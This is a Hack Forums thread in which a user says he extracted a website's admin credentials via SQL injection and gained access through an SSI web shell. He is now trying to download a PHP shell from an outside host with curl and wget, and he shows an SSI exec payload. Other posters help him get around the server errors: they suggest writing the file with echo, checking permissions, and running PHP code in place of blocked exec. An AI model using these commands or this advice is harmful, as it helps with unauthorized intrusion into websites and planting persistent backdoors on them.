

Forum:[Hack Forums](#)

Thread: [how to bypass Internal Server Error \[on hold\] SQL INJECTION](#)

blackcoder00 - January 20, 2018, 2:43 am

i was looking after a website that he is vulnerable in sql injection after i dump the CP password and the username

i have upload my shell but i find this error :

Code the server encountered an internal error or misconfiguration and was unable to complete your request
i bypass it with SSI web shell (shell.shtml)

i run my command from the shell command to upload the shell in this site :

Code curl http://www.test.com/upload/r00t.txt -o root.php

wget http://www.test.com/upload/r00t.txt -o root.php
after i run the command I find that my file doesn't exist (Not Found) in this path:

Code http://example.com/gallery/root.php i think that the command is not executed
How I can solve this problem?

Malicious Intent - January 20, 2018, 2:53 am

(Jan 20, 2018 03:43 AM)blackcoder00 Wrote: [\[CITE\]](#) i was looking after a website that he is vulnerable in sql injection after i dump the CP password and the username

i have upload my shell but i find this error :

Code the server encountered an internal error or misconfiguration and was unable to complete your request
i bypass it with SSI web shell (shell.shtml)

i run my command from the shell command to upload the shell in this site :

Code curl http://www.test.com/upload/r00t.txt -o root.php

wget http://www.test.com/upload/r00t.txt -o root.php
after i run the command I find that my file doesn't exist (Not Found) in this path:

Code http://example.com/gallery/root.php i think that the command is not executed
How I can solve this problem?

There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users. Try uploading some simple php file without any functions like exec, eval and alike.

?? - January 20, 2018, 2:57 am

(Jan 20, 2018 03:53 AM)Malicious Intent Wrote: [\[CITE\]](#) There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users. Try uploading some simple php file without any functions like exec, eval and alike.

Like he said . There may be multiple reasons . Most common one's are functions or certain keywords are blocked by application . i can take a look at it , feel free to PM

blackcoder00 - January 20, 2018, 3:08 am

(Jan 20, 2018 03:53 AM)Malicious Intent Wrote: [\[CITE\]](#) There is number of reasons as to why this might be happening. Host might prohibit use of certain functions that you use in your shell could be one option. Another one could be that curl or wget are not available to www-data or apache users.

Try uploading some simple php file without any functions like exec, eval and alike.

no command was executed if i upload a simple shell this error message display after i go to the path of the shell.php i was upload the server display to me this message

The server encountered an internal error or misconfiguration and was unable to complete your request

Malicious Intent - January 20, 2018, 3:12 am

Dont use curl .. just echo text and pipe it into a file or something like it. curl or wget is not the only way to make a file. There is number of ways to do it and you are focusing on something that doesnt work. Also check the permissions on the location you are trying to access and check permissions on file.

Try some random commands to check environment and get as much info as possible.

blackcoder00 - January 20, 2018, 3:50 am

(Jan 20, 2018 04:12 AM)Malicious Intent Wrote: [\[CITE\]](#) Dont use curl .. just echo text and pipe it into a file or something like it. curl or wget is not the only way to make a file. There is number of ways to do it and you are focusing on something that doesnt work. Also check the permissions on the location you are trying to access and check permissions on file.

Try some random commands to check environment and get as much info as possible.this is what i get when i run `[b][b]<!--#exec cmd="ls" -->[/b][b]`

Executed command: `[b]<!--#exec cmd="ls" -->; PHPSESSID=f2a7b9b445az5b07cd42e102c2c1a958[/b]`

Malicious Intent - January 20, 2018, 4:27 am

(Jan 20, 2018 04:50 AM)blackcoder00 Wrote: [\[CITE\]](#) this is what i get when i run `[b][b]<!--#exec cmd="ls" -->[/b][b]`

Executed command: `[b]<!--#exec cmd="ls" -->; PHPSESSID=f2a7b9b445az5b07cd42e102c2c1a958[/b]`

host is probably blocking exec.

.trigious - January 20, 2018, 7:32 am

Dude just run PHP code with the same functionality